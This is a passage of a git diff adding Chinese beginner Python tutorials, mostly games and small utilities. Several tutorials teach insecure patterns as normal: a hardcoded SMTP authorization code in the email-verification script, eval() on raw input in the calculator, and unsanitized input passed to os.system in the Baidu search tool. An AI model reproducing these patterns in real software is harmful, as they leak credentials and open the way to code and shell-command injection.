40, 40) +YELLOW = (255, 255, 0) +Red_DARK = (150, 0, 0) +BLUE = (0, 0, 255) +BLUE_DARK = (0, 0, 150) + + +BGCOLOR = Black # Background color + + +UP = 'up' +DOWN = 'down' # Defining keyboard keys. +LEFT = 'left' +RIGHT = 'right' + +HEAD = 0 # Syntactic sugar: index of the snake's head + + +def main(): + global SnakespeedCLOCK, DISPLAYSURF, BASICFONT + + pygame.init() + SnakespeedCLOCK = pygame.time.Clock() + DISPLAYSURF = pygame.display.set_mode((Window_Width, Window_Height)) + BASICFONT = pygame.font.Font('freesansbold.ttf', 18) + pygame.display.set_caption('Snake') + + showStartScreen() + while True: + runGame() + showGameOverScreen() + + +def runGame(): + # Set a random start point. + startx = random.randint(5, Cell_W - 6) + starty = random.randint(5, Cell_H - 6) + wormCoords = [{'x': startx, 'y': starty}, + {'x': startx - 1, 'y': starty}, + {'x': startx - 2, 'y': starty}] + direction = RIGHT + + # Start the apple in a random place. + apple = getRandomLocation() + + while True: # main game loop + for event in pygame.event.get(): # event handling loop + if event.type == QUIT: + terminate() + elif event.type == KEYDOWN: + if (event.key == K_LEFT) and direction != RIGHT: + direction = LEFT + elif (event.key == K_RIGHT) and direction != LEFT: + direction = RIGHT + elif (event.key == K_UP) and direction != DOWN: + direction = UP + elif (event.key == K_DOWN) and direction != UP: + direction = DOWN + elif event.key == K_ESCAPE: + terminate() + + # check if the Snake has hit itself or the edge + if wormCoords[HEAD]['x'] == -1 or wormCoords[HEAD]['x'] == Cell_W or wormCoords[HEAD]['y'] == -1 or wormCoords[HEAD]['y'] == Cell_H: + return # game over + for wormBody in wormCoords[1:]: + if wormBody['x'] == wormCoords[HEAD]['x'] and wormBody['y'] == wormCoords[HEAD]['y']: + return # game over + + # check if Snake has eaten an apply + if wormCoords[HEAD]['x'] == apple['x'] and wormCoords[HEAD]['y'] == apple['y']: + # don't remove worm's tail segment + apple = getRandomLocation() # set a new apple somewhere + else: + del wormCoords[-1] # remove worm's tail segment + + # move the worm by adding a segment in the direction it is moving + if direction == UP: + newHead = {'x': wormCoords[HEAD]['x'], + 'y': wormCoords[HEAD]['y'] - 1} + elif direction == DOWN: + newHead = {'x': wormCoords[HEAD]['x'], + 'y': wormCoords[HEAD]['y'] + 1} + elif direction == LEFT: + newHead = {'x': wormCoords[HEAD][ + 'x'] - 1, 'y': wormCoords[HEAD]['y']} + elif direction == RIGHT: + newHead = {'x': wormCoords[HEAD][ + 'x'] + 1, 'y': wormCoords[HEAD]['y']} + wormCoords.insert(0, newHead) + DISPLAYSURF.fill(BGCOLOR) + drawGrid() + drawWorm(wormCoords) + drawApple(apple) + drawScore(len(wormCoords) - 3) + pygame.display.update() + SnakespeedCLOCK.tick(Snakespeed) + + +def drawPressKeyMsg(): + pressKeySurf = BASICFONT.render('Press a key to play.', True, White) + pressKeyRect = pressKeySurf.get_rect() + pressKeyRect.topleft = (Window_Width - 200, Window_Height - 30) + DISPLAYSURF.blit(pressKeySurf, pressKeyRect) + + +def checkForKeyPress(): + if len(pygame.event.get(QUIT)) > 0: + terminate() + keyUpEvents = pygame.event.get(KEYUP) + if len(keyUpEvents) == 0: + return None + if keyUpEvents[0].key == K_ESCAPE: + terminate() + return keyUpEvents[0].key + + +def showStartScreen(): + titleFont = pygame.font.Font('freesansbold.ttf', 100) + titleSurf1 = titleFont.render('Snake!', True, White, DARKGreen) + degrees1 = 0 + degrees2 = 0 + while True: + DISPLAYSURF.fill(BGCOLOR) + rotatedSurf1 = pygame.transform.rotate(titleSurf1, degrees1) + rotatedRect1 = rotatedSurf1.get_rect() + rotatedRect1.center = (Window_Width / 2, Window_Height / 2) + DISPLAYSURF.blit(rotatedSurf1, rotatedRect1) + + drawPressKeyMsg() + + if checkForKeyPress(): + pygame.event.get() # clear event queue + return + pygame.display.update() + SnakespeedCLOCK.tick(Snakespeed) + degrees1 += 3 # rotate by 3 degrees each frame + degrees2 += 7 # rotate by 7 degrees each frame + + +def terminate(): + pygame.quit() + sys.exit() + + +def getRandomLocation(): + return {'x': random.randint(0, Cell_W - 1), 'y': random.randint(0, Cell_H - 1)} + + +def showGameOverScreen(): + gameOverFont = pygame.font.Font('freesansbold.ttf', 100) + gameSurf = gameOverFont.render('Game', True, White) + overSurf = gameOverFont.render('Over', True, White) + gameRect = gameSurf.get_rect() + overRect = overSurf.get_rect() + gameRect.midtop = (Window_Width / 2, 10) + overRect.midtop = (Window_Width / 2, gameRect.height + 10 + 25) + + DISPLAYSURF.blit(gameSurf, gameRect) + DISPLAYSURF.blit(overSurf, overRect) + drawPressKeyMsg() + pygame.display.update() + pygame.time.wait(500) + checkForKeyPress() # clear out any key presses in the event queue + + while True: + if checkForKeyPress(): + pygame.event.get() # clear event queue + return + + +def drawScore(score): + scoreSurf = BASICFONT.render('Score: %s' % (score), True, White) + scoreRect = scoreSurf.get_rect() + scoreRect.topleft = (Window_Width - 120, 10) + DISPLAYSURF.blit(scoreSurf, scoreRect) + + +def drawWorm(wormCoords): + for coord in wormCoords: + x = coord['x'] * Cell_Size + y = coord['y'] * Cell_Size + wormSegmentRect = pygame.Rect(x, y, Cell_Size, Cell_Size) + pygame.draw.rect(DISPLAYSURF, DARKGreen, wormSegmentRect) + wormInnerSegmentRect = pygame.Rect( + x + 4, y + 4, Cell_Size - 8, Cell_Size - 8) + pygame.draw.rect(DISPLAYSURF, Green, wormInnerSegmentRect) + + +def drawApple(coord): + x = coord['x'] * Cell_Size + y = coord['y'] * Cell_Size + appleRect = pygame.Rect(x, y, Cell_Size, Cell_Size) + pygame.draw.rect(DISPLAYSURF, Red, appleRect) + + +def drawGrid(): + for x in range(0, Window_Width, Cell_Size): # draw vertical lines + pygame.draw.line(DISPLAYSURF, DARKGRAY, (x, 0), (x, Window_Height)) + for y in range(0, Window_Height, Cell_Size): # draw horizontal lines + pygame.draw.line(DISPLAYSURF, DARKGRAY, (0, y), (Window_Width, y)) + + +if __name__ == '__main__': + try: + main() + except SystemExit: + pass + + +``` +代码完成了! diff --git "a/Python\345\256\236\347\216\260\345\217\221\351\200\201\351\202\256\344\273\266\351\252\214\350\257\201\347\240\201.md" "b/Python\345\256\236\347\216\260\345\217\221\351\200\201\351\202\256\344\273\266\351\252\214\350\257\201\347\240\201.md" new file mode 100644 index 0000000..c09f212 --- /dev/null +++ "b/Python\345\256\236\347\216\260\345\217\221\351\200\201\351\202\256\344\273\266\351\252\214\350\257\201\347\240\201.md" @@ -0,0 +1,77 @@ +想必大家有很多登录、注册网站时需要验证的场景。今天我就送给大家一些代码,用来制作一个类似于这样的场景,我们一起看代码: + +```python +import smtplib +import re +from os import environ +from os.path import exists +from platform import system,node +from time import strftime +from email.mime.text import MIMEText +from email.utils import formataddr +from random import randint +from easygui import msgbox,enterbox +print('库加载完成') + +title = '这是标题(请自行更改)' +my_sender = 'advance_software@126.com' #发件者邮箱(请自行更改) +my_pass = 'QFAQPLFQZRZBMVWQ' #授权码(请自行更改) +dt = strftime('%Y-%m-%d %H:%M:%S') +print('已经获取时间') +my_user = userMail +username = environ['USERNAME'] +system = system() +computer = node() +number = randint(100000,999999) #验证码 +err = Exception +print('设备信息获取完成\n变量定义完成') + +def mail(): + global err + ret = True + print('嵌套入检查语句') + try: + msg = MIMEText('这是邮件内容(请自行更改)', 'plain', 'utf-8') + msg['From'] = formataddr(["发件人名称(请自行更改)", my_sender]) + msg['To'] = formataddr(["FK", my_user]) + msg['Subject'] = "xxx的验证码(请自行更改)" + print('已经设置好邮件信息') + + server = smtplib.SMTP_SSL("smtp.126.com", 465) + server.login(my_sender, my_pass) + server.sendmail(my_sender, [my_user, ], msg.as_string()) + server.quit() + print('邮件发送已完成') + except Exception as e: + ret = False + err = str(e) + print('进入错误语句\n错误是%s' % (err)) + return ret + print('返回信息') + +def checkmail(email): + print('进入验证语句') + reg = "\w+[@][a-zA-Z0-9_]+(\.[a-zA-Z0-9_]+)+" + result = re.findall(reg,email) + if result: + ret = mail() + if ret: + num = enterbox('发送成功!请输入您的验证码:',title) + if num == str(number): + with open('canRegister.txt','w+',encoding = 'UTF-8') as f: + f.write('canRegister') + msgbox('验证成功!',title) + else: + msgbox('验证失败!',title) + else: + msgbox('邮件发送失败!\n原因是:%s' % (err),title) + else: + msgbox('您的输入不合法,请重新打开程序输入!',title) + + +if __name__ == '__main__': + print('进入主程序') + checkmail(my_user) + +``` + diff --git "a/Python\345\256\236\347\216\260\345\222\214\347\224\265\350\204\221\347\214\234\346\213\263\347\232\204\345\260\217\346\270\270\346\210\217\346\272\220\344\273\243\347\240\201.md" "b/Python\345\256\236\347\216\260\345\222\214\347\224\265\350\204\221\347\214\234\346\213\263\347\232\204\345\260\217\346\270\270\346\210\217\346\272\220\344\273\243\347\240\201.md" new file mode 100644 index 0000000..83fe5a8 --- /dev/null +++ "b/Python\345\256\236\347\216\260\345\222\214\347\224\265\350\204\221\347\214\234\346\213\263\347\232\204\345\260\217\346\270\270\346\210\217\346\272\220\344\273\243\347\240\201.md" @@ -0,0 +1,30 @@ +和小伙伴玩时,我们经常会用到猜拳来决定谁来表演节目。我们今天来写一个和电脑玩猜拳的程序,话不多说,直接看代码: + +```python +import random +num = 1 +yin_num = 0 +shu_num = 0 +while num <= 100: + if shu_num == 2 or yin_num == 2: + break + user = int(input('请出拳 0(石头) 1(剪刀) 2(布):')) + if user > 2: + print('不能出大于2的值') + else: + data = ['石头', '剪刀', '布'] + com = random.randint(0, 2) + print("您出的是{},电脑出的是{}".format(data[user], data[com])) + if user == com: + print('平局') + continue + elif (user == 0 and com == 1) or (user == 1 and com == 2) or (user == 2 and com == 0): + print('恭喜您,您获胜了!') + yin_num += 1 + else: + print('不好意思,您输了。下次走远!') + shu_num += 1 + num += 1 + +``` +代码完成了! diff --git "a/Python\345\256\236\347\216\260\345\274\271\347\220\203\346\270\270\346\210\217\347\232\204\345\212\240\345\274\272\347\211\210.md" "b/Python\345\256\236\347\216\260\345\274\271\347\220\203\346\270\270\346\210\217\347\232\204\345\212\240\345\274\272\347\211\210.md" new file mode 100644 index 0000000..be3cb72 --- /dev/null +++ "b/Python\345\256\236\347\216\260\345\274\271\347\220\203\346\270\270\346\210\217\347\232\204\345\212\240\345\274\272\347\211\210.md" @@ -0,0 +1,228 @@ +前两天我们写了一个最基础的弹球游戏,今天我们来做一个漂亮点的——怎么说一个程序也要有一些图片,才显得漂亮吧!我们[下载素材](https://pandaoxi2020.lanzous.com/iE5HQi33v5a),在`index.py`里面书写代码: + +```python +import pygame +from pygame.locals import * +import time +import random +import sys +import os +#初始化pygame环境 +pygame.init() + +#创建一个长宽分别为1300/700窗口 +os.environ[ 'SDL_VIDEO_WINDOW_POS'] = "%d,%d" % (160, 100) +canvas = pygame.display.set_mode((1000,600)) +canvas.fill((255,255,255)) + +#设置窗口标题 +pygame.display.set_caption("打砖块") + +#加载图片 +#画框 +bg1=pygame.image.load("images/bg2.png") +#背景 +bg2=pygame.image.load("images/bg1.png") +#挡板 +board=pygame.image.load("images/board.png") +#右边云 +c1=pygame.image.load("images/c2.png") +#左边云 +c2=pygame.image.load("images/c1.png") +#血量 +life=pygame.image.load("images/life.png") +#失败 +lose=pygame.image.load("images/lose.png") +#胜利 +win=pygame.image.load("images/win.png") +#弹球 +b=pygame.image.load("images/ball.png") +#敌人1 +e1=pygame.image.load("images/enemy1.png") +#敌人2 +e2=pygame.image.load("images/enemy2.png") +#敌人3 +e3=pygame.image.load("images/enemy3.png") + +def handleEvent(): + for event in pygame.event.get(): + if event.type == QUIT : + pygame.quit() + sys.exit() + #鼠标移动事件 + if event.type == MOUSEMOTION: + if Game.states == 'RUNNING': + Game.player.x = event.pos[0] - Game.player.width / 2 + + +#弹球类 +class Ball(): + def __init__(self,x,y,img): + self.width=46 + self.height=46 + self.x=x + self.y=y + self.img=img + self.life=3 + def paint(self): + canvas.blit(self.img,(self.x,self.y)) + def step(self): + self.x=self.x+Game.m + self.y=self.y-Game.n + if self.x<30: + Game.m=random.randint(10,20) + if self.x>970: + Game.m=-random.randint(10,20) + if self.y<15: + Game.n=-random.randint(10,20) + +#玩家类 +class Player(): + def __init__(self,x,y,img): + self.width=217 + self.height=104 + self.x=x + self.y=y + self.img=img + def paint(self): + canvas.blit(self.img,(self.x,self.y)) + #越界方法 + def outOfBounds(self): + if self.x<=30: + self.x=30 + if self.x>=1000-30-self.width: + self.x=1000-30-self.width + #碰撞方法 + def hit(self,c): + return c.x > self.x - c.width and c.x < self.x + self.width and c.y > self.y - c.height and c.y < self.y + self.height +#敌人类 +class Enemy(): + def __init__(self,x,y,img): + self.width=132 + self.height=48 + self.x=x + self.y=y + self.img=img + self.life=1 + def paint(self): + canvas.blit(self.img,(self.x,self.y)) + #碰撞方法 + def hit(self,c): + return c.x > self.x - c.width and c.x < self.x + self.width and c.y > self.y - c.height and c.y < self.y + self.height + +#云类 +class Cloud(): + def __init__(self,x,y,img): + self.width=132 + self.height=48 + self.x=x + self.y=y + self.img=img + def paint(self): + canvas.blit(self.img,(self.x,self.y)) + #碰撞方法 + def hit(self,c): + return c.x > self.x - c.width and c.x < self.x + self.width and c.y > self.y - c.height and c.y < self.y + self.height + + +#画组件方法 +def conPaint(): + canvas.blit(bg1,(0,0)) + Game.player.paint() + canvas.blit(bg2,(0,0)) + Game.ball.paint() + #画生命值 + if Game.ball.life==3: + canvas.blit(life,(975,70)) + canvas.blit(life,(975,90)) + canvas.blit(life,(975,110)) + if Game.ball.life==2: + canvas.blit(life,(975,70)) + canvas.blit(life,(975,90)) + if Game.ball.life==1: + canvas.blit(life,(975,70)) + #画敌人 + for enemy in Game.enemies: + enemy.paint() + #画云彩 + for cloud in Game.clouds: + cloud.paint() + +#组件移动方法 +def conStep(): + Game.ball.step() + + + +#游戏结束方法 +def gameOver(): + if len(Game.enemies)==0 or Game.ball.life<=0: + Game.states='OVER' + +#状态控制方法 +def control(): + if Game.states=='RUNNING': + conPaint() + conStep() + checkHit() + conDelete() + gameOver() + Game.player.outOfBounds() + if Game.states=='OVER': + conPaint() + #胜利 + if len(Game.enemies)==0: + canvas.blit(win,(250,150)) + #失败 + if Game.ball.life<=0: + canvas.blit(lose,(250,150)) + +#检测碰撞 +def checkHit(): + for enemy in Game.enemies: + if enemy.hit(Game.ball): + enemy.life=0 + Game.m=-1*Game.m + Game.n=-random.randint(10,20) + for cloud in Game.clouds: + if cloud.hit(Game.ball): + Game.m=-1*Game.m + Game.n=-random.randint(10,20) + if Game.player.hit(Game.ball): + Game.n=random.randint(10,20) + if Game.ball.y>600: + Game.ball.life=Game.ball.life-1 + Game.ball.x=500 + Game.ball.y=200 + +#删除敌人方法 +def conDelete(): + for enemy in Game.enemies: + if enemy.life==0: + Game.enemies.remove(enemy) + + +#游戏类 +class Game(): + m=random.randint(10,20) + n=random.randint(10,20) + enemies=[Enemy(156,15,e1),Enemy(293,15,e2),Enemy(430,15,e3),Enemy(567,15,e2),Enemy(704,15,e1)] + clouds=[Cloud(30,15,c1),Cloud(844,15,c2)] + ball=Ball(500,400,b) + player=Player(450,500,board) + states='RUNNING' + + + + +while True: + #调用状态控制方法 + control() + # 监听有没有按下退出按钮 + handleEvent() + # 更新屏幕内容 + pygame.display.update() + #延时1秒 + pygame.time.delay(10) +``` +完成了! diff --git "a/Python\345\256\236\347\216\260\346\216\247\345\210\266\345\217\260\350\256\241\347\256\227\345\231\250\346\225\210\346\236\234.md" "b/Python\345\256\236\347\216\260\346\216\247\345\210\266\345\217\260\350\256\241\347\256\227\345\231\250\346\225\210\346\236\234.md" new file mode 100644 index 0000000..32ee0db --- /dev/null +++ "b/Python\345\256\236\347\216\260\346\216\247\345\210\266\345\217\260\350\256\241\347\256\227\345\231\250\346\225\210\346\236\234.md" @@ -0,0 +1,29 @@ +我们今天来写一个简单计算器。 + +> 这个代码不需要任何库,且只需要很少代码。 + +步骤: +1.打开开发工具,创建一个新的Python文档。 +2.输入代码如下: + +```python +while True: + try: + calc = eval(input('请在此处键入一个算式:')) + print('计算结果:{0}'.format(calc)) + except ValueError: + print('Error! Please try again!') + except SyntaxError: + print('Error! Please try again!') + except TypeError: + print('Error! Please try again!') +``` +代码完成了。 +可以多添加几个`except`,使代码不容易出错、报错。 +最简单的代码: + +```python +calc = eval(input('请在此处键入一个算式:')) +print(calc) +``` + diff --git "a/Python\345\256\236\347\216\260\346\216\247\345\210\266\345\217\260\350\276\223\345\207\272\344\270\200\346\225\264\345\271\264\347\232\204\346\227\245\345\216\206.md" "b/Python\345\256\236\347\216\260\346\216\247\345\210\266\345\217\260\350\276\223\345\207\272\344\270\200\346\225\264\345\271\264\347\232\204\346\227\245\345\216\206.md" new file mode 100644 index 0000000..176860b --- /dev/null +++ "b/Python\345\256\236\347\216\260\346\216\247\345\210\266\345\217\260\350\276\223\345\207\272\344\270\200\346\225\264\345\271\264\347\232\204\346\227\245\345\216\206.md" @@ -0,0 +1,14 @@ +今天我们来用Python在控制台上输出一整年的日历。 + +> 这一次我们需要用到 calendar 模块。这个模块是内置模块。 + +步骤: +1.打开开发工具,创建一个新的Python文档。 +2.输入代码如下: + +```python +from calendar import calendar #导入 calendar模块 +print(calendar(2020)) # 调用它,传入的参数是年份 +``` +代码完成了。 + diff --git "a/Python\345\256\236\347\216\260\346\226\207\346\234\254\345\244\232\350\241\214\350\276\223\345\205\245.md" "b/Python\345\256\236\347\216\260\346\226\207\346\234\254\345\244\232\350\241\214\350\276\223\345\205\245.md" new file mode 100644 index 0000000..f7718f4 --- /dev/null +++ "b/Python\345\256\236\347\216\260\346\226\207\346\234\254\345\244\232\350\241\214\350\276\223\345\205\245.md" @@ -0,0 +1,33 @@ +> 我们都知道,Python内置方法input只能输入一行内容,我们今天实现嵌套while循环来实现输入多行文本功能。 +我们本次不需要任何库。 + +步骤: +1.打开开发工具,创建一个新Python文档。 +2.输入代码如下: + +```python +#创建空列表储存多行输入信息 +textList = [] +#创建关键字变量 +keywords = '__end__' +#打印文字信息 +print('文字多行输入,输入“{0}”即可停止。\n请在下方输入内容。\n'.format(keywords)) +#嵌套循环 +while True: + #声明变量来储存输入信息 + text = input() + #判断输入信息是否为结束输入的关键字 + if text == keywords: + #跳出循环 + break + else: #如果不是就添加到列表 + textList.append(text) + +#打印输入的内容 +for i in textList: + print(i) +``` +代码完成了。实现效果: +![图片](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200728140137286.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +![图片](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200728140213427.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + diff --git "a/Python\345\256\236\347\216\260\347\255\276\345\220\215\345\231\250.md" "b/Python\345\256\236\347\216\260\347\255\276\345\220\215\345\231\250.md" new file mode 100644 index 0000000..4e3e459 --- /dev/null +++ "b/Python\345\256\236\347\216\260\347\255\276\345\220\215\345\231\250.md" @@ -0,0 +1,118 @@ +在开始之前,请大家准备一些东西: +1.pygame、easygui(请大家自行下载安装`pip3 install pygame`,`pip3 install easygui`) +2.签名器预备文件([请大家点击这里下载](https://pandaoxi2020.lanzous.com/itbLQfuneeb)) + +请大家将文件下载完成后打开,解压,密码是`signer3.0`,解压完成后,打开文件夹`签名器3.0 Python\签名器3.0 Python\签名器3.0 Python\预留代码\签名器3.0 Python`。 + +打开开发工具,导入该项目,先看一看项目的实现效果(完整代码): +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200820135431115.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/2020082013545459.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200820135543104.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) +打开预留代码的`index.py`可以发现是一个空的文字框。 +可以看到,代码注释是有的,甚至坐标都给出来了: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200820135823953.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) +在这里考考大家,能不能按照注释内容写出来完整的代码? + +**预留代码** + +```python +#coding:utf-8 +#导入需要用的库 +import easygui,pygame +from pygame import * +#初始化pygame库 +pygame.init() +#创建一个1900,740的窗口,命名为canvas +canvas = pygame.display.set_mode((1900, 740)) +canvas.fill((255,255,255)) +#命名窗口标题 +pygame.display.set_caption("签名器3.0Python版") +#背景一图片路径:"文 件/图 片/img1.jpg" +#坐标图片路径:"文 件/图 片/coordinate.jpg" +#字体一图片路径:"文 件/字 体/个性签.TTF" 大小50像素 +#字体二图片路径:"文 件/字 体/古韵签.ttf" 大小50像素 +#字体三图片路径:"文 件/字 体/可爱签.TTF" 大小50像素 +#字体四图片路径:"文 件/字 体/潇洒签.TTF" 大小50像素 +#感谢字体图片路径:"文 件/字 体/Thank.TTF"大小50像素 + + + + + + + + +#处理关闭页面的函数 +def handleEvent(): + for event in pygame.event.get(): + if event.type == QUIT: + pygame.quit() + +#使用enterbox接受用户输入的内容,将内容存到变量里! + +while True: + #背景图片坐标:0,0 + #字体一坐标:1067,559 颜色:黑色 + #字体二坐标:405,550 颜色:黑色 + #字体三坐标:1058,275 颜色:黑色 + #字体四坐标:418,285 颜色:黑色 + #感谢字体坐标:800,444 颜色:黑色 + + + + + + + + + + + + + + + + #调用关闭页面的函数 + handleEvent() + #更新屏幕的内容 + pygame.display.update() +``` +**完整代码** +如果大家实在不会写可以参考一下我写出来的: + +```python +#coding:utf-8 +import easygui,pygame +from pygame import * +pygame.init() +canvas = pygame.display.set_mode((1900, 740)) +canvas.fill((255,255,255)) +pygame.display.set_caption("签名器3.0Python版") +bg1=pygame.image.load("文 件/图 片/img1.jpg") +bg2=pygame.image.load("文 件/图 片/coordinate.jpg") +font1=pygame.font.Font("文 件/字 体/个性签.TTF",50) +font2=pygame.font.Font("文 件/字 体/古韵签.ttf",50) +font3=pygame.font.Font("文 件/字 体/可爱签.TTF",50) +font4=pygame.font.Font("文 件/字 体/潇洒签.TTF",50) +t=pygame.font.Font("文 件/字 体/Thank.TTF",50) +def handleEvent(): + for event in pygame.event.get(): + if event.type == QUIT: + pygame.quit() +i=easygui.enterbox("请输入您的名字:","签名器3.0Python版") +while True: + canvas.blit(bg1,(0,0)) + p1=font1.render(i,True,(0,0,0)) + canvas.blit(p1,(1067,559)) + p2=font2.render(i,True,(0,0,0)) + canvas.blit(p2,(405,550)) + p3=font3.render(i,True,(0,0,0)) + canvas.blit(p3,(1058,275)) + p4=font4.render(i,True,(0,0,0)) + canvas.blit(p4,(418,285)) + thank=t.render("感谢使用!",True,(0,0,0)) + canvas.blit(thank,(800,444)) + handleEvent() + pygame.display.update() +``` +您做出来了吗? diff --git "a/Python\345\256\236\347\216\260\347\256\200\345\215\225\347\214\234\346\225\260\346\270\270\346\210\217.md" "b/Python\345\256\236\347\216\260\347\256\200\345\215\225\347\214\234\346\225\260\346\270\270\346\210\217.md" new file mode 100644 index 0000000..24380ec --- /dev/null +++ "b/Python\345\256\236\347\216\260\347\256\200\345\215\225\347\214\234\346\225\260\346\270\270\346\210\217.md" @@ -0,0 +1,28 @@ +我们使用Python来做一个简单猜数游戏。 + + +>本次我们需要random随机数模块。 + +步骤: +1.打开开发工具,新建一个空白Python文档。 +2.输入代码如下: + +```python +from random import randint +number = int(input('请输入一个数字,范围在1至100之间:')) +scale = number >= 1 and number <= 100 +intNumber = randint(1,100) + +while scale: + if number > intNumber: + print('猜大了!') + number = int(input('请输入一个数字,范围在1至100之间:')) + elif number < intNumber: + print('猜小了!') + number = int(input('请输入一个数字,范围在1至100之间:')) + + if number == intNumber: + print('恭喜您,猜对啦!') + break +``` +代码完成了。可以加入try except 语句,检出异常。 diff --git "a/Python\345\256\236\347\216\260\350\260\203\347\224\250\347\231\276\345\272\246\346\220\234\347\264\242\346\216\245\345\217\243\346\220\234\347\264\242\344\277\241\346\201\257.md" "b/Python\345\256\236\347\216\260\350\260\203\347\224\250\347\231\276\345\272\246\346\220\234\347\264\242\346\216\245\345\217\243\346\220\234\347\264\242\344\277\241\346\201\257.md" new file mode 100644 index 0000000..139160e --- /dev/null +++ "b/Python\345\256\236\347\216\260\350\260\203\347\224\250\347\231\276\345\272\246\346\220\234\347\264\242\346\216\245\345\217\243\346\220\234\347\264\242\344\277\241\346\201\257.md" @@ -0,0 +1,21 @@ +> 今天我们来写一个简单的搜索程序,需要os模块 +> 必须使用Windows系统 + +步骤: +1.获取百度搜索接口:`http://www.baidu.com/s?wd=`(360接口是`https://www.so.com/s?ie=utf-8&src=hao_360so_b_cube&shb=1&hsid=ab61903f5523b973&q=`),比如在wd后面加一个“Python”,那么就会在浏览器里使用百度(360)搜索“Python”的结果。 +2.打开开发工具,新建一个Python文档。 +3.输入代码如下: + +```python +from os import system +search = input('请输入您要搜索的内容(输入end退出):') +interface = 'http://www.baidu.com/s?wd=' + +while search != 'end': + system('start iexplore "{0}"'.format(interface + search)) + search = input('请输入您要搜索的内容(输入end退出):') +else: + print('已经退出程序!') + exit() +``` +代码完成了! diff --git "a/Python\345\256\236\347\216\260\350\276\223\345\207\272\346\211\213\345\206\231\344\275\223\345\233\276\347\211\207.md" "b/Python\345\256\236\347\216\260\350\276\223\345\207\272\346\211\213\345\206\231\344\275\223\345\233\276\347\211\207.md" new file mode 100644 index 0000000..997cc50 --- /dev/null +++ "b/Python\345\256\236\347\216\260\350\276\223\345\207\272\346\211\213\345\206\231\344\275\223\345\233\276\347\211\207.md" @@ -0,0 +1,48 @@ +话说我在研究`pywhatkit`时搞了一下源程序,发现了这个: + +```python +data = requests.get( + f"https://pywhatkit.herokuapp.com/handwriting?text={string}&rgb={rgb[0]},{rgb[1]},{rgb[2]}" +) +``` +然后,我掏出了`apifox`,一试: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/07c0d3b592414b47a3b5a5dd2489b6c4.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +ohhhhhhhhhhh ! +来,说说我发现的东西! + +
+ +这是一个GET请求的API接口`https://pywhatkit.herokuapp.com/handwriting`,两个参数,分别是`text`(文字)和`rgb`(颜色)。 +我找了一段简短的英文小故事来测试。接口无法处理中文。 + +> A child was careless ramie stabbed, he rushed home and told his mother: I only lightly Pengyi what, it was my painful thorns.Mom said: Because of this, it will thorn you. if the next time you met Ramie, to a courageous and seize it, it will be in your hands become soft as silk, you will no longer be stabbed.It is said that many people are serving hard against soft. +> ![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/5ba64b2063c740b89d8fa088789fe2e6.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) + +我把它写成一个程序,一起来看: + +```python +from requests import get +t = input('Enter some English >>> ') +if len(t) > 1035: + print('The content you entered is too long.') + input() + exit() + +color = (30,30,150) +params = { + 'text':t, + 'color':'%d,%d,%d' % (color[0],color[1],color[2]) + } +try: + res = get('https://pywhatkit.herokuapp.com/handwriting',params=params) + with open('text.png','wb') as f: + f.write(res.content) + + print('\nSuccessful production.') + input() +except Exception as e: + print('Error :',e) +``` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/012dbf6ed9da4b45b8bbdae7b9c2c391.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/1b1ab42eafad45419d643a3e908fe17a.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16#pic_center) + diff --git "a/Python\345\256\236\347\216\260\350\277\236\347\202\271\345\231\250.md" "b/Python\345\256\236\347\216\260\350\277\236\347\202\271\345\231\250.md" new file mode 100644 index 0000000..6eb127b --- /dev/null +++ "b/Python\345\256\236\347\216\260\350\277\236\347\202\271\345\231\250.md" @@ -0,0 +1,131 @@ +啊,为此我特意准备了两个程序,一个是用来测试的,一个是主程序。来看看吧 + +直接放连点器代码: + +```python +# 改进版 +import pyautogui as pag +from time import sleep,time + +pag.PAUSE = 0 +def mouse(): + b = input('请问您需要点击多少下?') + b = int(b) + c = input('点击时需要左键还是右键?\n左键请输入0,右键输入1:') + c = int(c) + 